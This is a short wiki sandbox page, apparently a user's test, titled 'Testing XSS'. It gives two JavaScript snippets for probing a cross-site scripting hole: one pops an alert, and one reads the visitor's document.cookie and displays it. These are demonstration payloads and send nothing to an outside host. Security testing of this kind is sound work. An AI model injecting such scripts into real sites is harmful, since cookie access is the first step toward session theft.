User:Spal/Sandbox

Testing XSS
The following are two JavaScript codes to test XSS vulnerability.

Code 1
Click [ this] to see the wiki markup. alert('XSS Demo')

Code 2
var x = 'XSS Demo\n\n' + (document.cookie == '' ? 'You have no cookies'                              : 'Your cookie is displayed below:\n' + document.cookie); alert(x)